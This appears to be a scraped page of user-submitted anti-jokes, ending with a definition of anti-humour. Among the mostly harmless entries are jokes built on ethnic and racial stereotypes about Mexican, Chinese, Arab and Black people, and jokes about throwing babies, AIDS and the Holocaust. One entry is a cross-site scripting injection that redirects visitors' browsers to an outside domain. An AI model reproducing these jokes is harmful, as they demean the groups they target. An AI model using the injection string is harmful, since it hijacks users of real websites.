Roses are red Violets are blue Chrome won't stop crashing randomly F*ck Chrome

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Why do mexicans like burritos? Because they taste good.

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Why did the black man go to jail? Because he committed a criminal offense.

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A man walks into a bar. and buys a drink.

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"'>document.location.href="http://cramik.org"

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Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

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A Mexican, a Chinese man, and a cowboy are on a plane. The plane is crashing, and they need to get rid of anything to make the plane lighter so thet can glide to safety. The cowboy throws out all of his boots and says we have to many of these. Then the Mexican throws out all of his taco shells and says we have to many of these. Then the Chinese man throws out the Mexican and says we have to many of these.(:

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Q: How many babies does it take to paint a wall? A: It depends on how hard you throw them.

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What do you call an arab flying a plane? A pliot

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What did the prosecuting attorney say to the defense attorney? I hate you.

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Why did the father leave work early on his son's birthday? He was rushed to the hospital after facing a severe heart attack due to a history of cardiovascular disease in his family.

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*there was a tv sitting on the side of the road..* person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!

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I never made a mistake. I thought i did once but i was mistaken

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whats worse than failing your maths test?

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What did the red bag have written on it? Yellow bag

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roses are red, violets are blue, Hitler killed 6.6 million jews.

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What's worse than stubbing your toe? - AIDS. What's worse than AIDS? - Getting AIDS and stubbing your toe.

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Who lives in a pineapple under the sea? No one, because a hollowed out pineapple carcass would not be able to last longer than a month in that high concentration of sodium.

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Your mom is so fat, that i don't think she's attractive anymore.

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What do you call a black man fishing. ... a fisherman racist.

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What is red and smells like brown feces? Bloody feces

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Believing in God may be a sign of autism Kappa

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Whats the same between a baby and pizza? their both edible

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Q: Why do blondes wear hoop earrings? A: Those that wear them think that said earrings positively accentuate their physical appearance.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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